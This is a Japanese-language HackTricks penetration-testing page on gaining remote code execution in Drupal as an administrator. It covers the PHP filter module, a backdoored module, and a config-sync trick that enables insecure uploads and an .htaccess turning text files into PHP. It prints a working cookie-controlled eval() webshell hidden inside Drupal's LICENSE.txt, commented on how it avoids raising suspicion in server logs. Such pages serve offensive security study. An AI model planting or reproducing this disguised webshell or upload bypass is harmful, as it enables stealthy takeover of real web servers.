Drupal RCE

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

PHPフィルターモジュールを使用して

warning

古いバージョンのDrupal (バージョン8以前) では、管理者としてログインし、PHPフィルターモジュールを有効にすることが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価することを許可します。」しかし、バージョン8からはこのモジュールはデフォルトでインストールされていません。

  1. /modules/phpに移動し、403エラーが返された場合は、PHPフィルタープラグインがインストールされており、続行できます
  2. そうでない場合は、Modulesに移動し、PHP Filterのボックスにチェックを入れてからSave configurationをクリックします
  3. 次に、これを悪用するために、Add contentをクリックし、Basic PageまたはArticleを選択し、PHPバックドアを書き込み、テキスト形式でPHPコードを選択し、最後にPreviewを選択します
  4. それをトリガーするには、新しく作成されたノードにアクセスするだけです:
bash
curl http://drupal.local/node/3

PHPフィルターモジュールのインストール

warning

現在のバージョンでは、デフォルトのインストール後にウェブへのアクセスのみでプラグインをインストールすることはできなくなりました。

バージョン8以降、 PHPフィルター モジュールはデフォルトでインストールされていません。この機能を利用するには、自分でモジュールをインストールする必要があります

  1. Drupalウェブサイトからモジュールの最新バージョンをダウンロードします。
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. ダウンロードが完了したら、管理 > レポート > **利用可能な更新**に移動します。
  4. **参照をクリックし、ダウンロードしたディレクトリからファイルを選択し、次にインストール**をクリックします。
  5. モジュールがインストールされたら、コンテンツをクリックし、Drupal 7の例と同様に新しい基本ページを作成します。再度、テキストフォーマットドロップダウンからPHPコードを選択することを忘れないでください

バックドア付きモジュール

warning

現在のバージョンでは、デフォルトのインストール後にウェブへのアクセスのみでプラグインをインストールすることはできなくなりました。

モジュールをダウンロードし、バックドアを追加してインストールすることが可能でした。例えば、圧縮形式でTrurnstileモジュールをダウンロードし、その中に新しいPHPバックドアファイルを作成し、.htaccessファイルを使用してPHPファイルにアクセスできるようにします:

html
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

そして、http://drupal.local/admin/modules/install に移動して、バックドア付きモジュールをインストールし、/modules/turnstile/back.php にアクセスして実行します。

設定同期を使用したDrupalのバックドア

投稿者 Coiffeur0x90

パート1 (MediaMedia Library の有効化)

Extend メニュー (/admin/modules) では、すでにインストールされていると思われるプラグインを有効化できます。デフォルトでは、プラグイン MediaMedia Library は有効化されていないようなので、有効化しましょう。

有効化前:

有効化後:

パート2 (Configuration synchronization 機能の活用)

私たちは Configuration synchronization 機能を利用して、Drupalの設定エントリをダンプ(エクスポート)し、アップロード(インポート)します:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

Patch system.file.yml

最初のエントリ allow_insecure_uploads をパッチすることから始めましょう:

ファイル: system.file.yml


...

allow_insecure_uploads: false

...

に:

ファイル: system.file.yml


...

allow_insecure_uploads: true

...

パッチ field.field.media.document.field_media_document.yml

次に、2番目のエントリ file_extensions を以下のようにパッチします:

File: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

に:

ファイル: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

このブログ投稿では使用していませんが、file_directoryを任意の方法で定義でき、パストラバーサル攻撃に対して脆弱であることが指摘されています(これにより、Drupalファイルシステムツリー内で上に戻ることができます)。

パート3(機能 Add Document の活用)

最後のステップは最も簡単で、2つのサブステップに分かれています。最初は、Apacheディレクティブを活用し、.txtファイルがPHPエンジンによって解釈されるようにするために、.htaccess形式のファイルをアップロードします。2つ目は、ペイロードを含む.txtファイルをアップロードすることです。

ファイル: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

このトリックがクールな理由は何ですか?

WebサーバーにWebshell(LICENSE.txtと呼ぶことにします)をドロップすると、$_COOKIEを介してコマンドを送信でき、Webサーバーログにはテキストファイルへの正当なGETリクエストとして表示されるからです。

なぜWebshellをLICENSE.txtと名付けるのか?

単純に、例えばcore/LICENSE.txtのようなファイルを取ると(これはDrupalコアにすでに存在します)、339行でサイズが17.6 KBのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適です(ファイルが十分に大きいため)。

ファイル: パッチを当てたLICENSE.txt

txt

...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

パート 3.1 (ファイル .htaccess のアップロード)

まず、Add Document (/media/add/document) 機能を利用して、Apache ディレクティブを含むファイル (.htaccess) をアップロードします。

パート 3.2 (ファイル LICENSE.txt のアップロード)

次に、Add Document (/media/add/document) 機能を再度利用して、ライセンスファイル内に隠された Webshell をアップロードします。

パート 4 (Webshell とのインタラクション)

最後の部分は、Webshell とのインタラクションです。

以下のスクリーンショットに示されているように、Webshell によって期待されるクッキーが定義されていない場合、Web ブラウザを介してファイルを参照すると、次の結果が得られます。

攻撃者がクッキーを設定すると、Webshell とインタラクションし、任意のコマンドを実行できます。

そして、ログに見ると、要求されたのは txt ファイルだけのようです。

この記事を読んでいただきありがとうございます。シェルを取得するのに役立つことを願っています。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする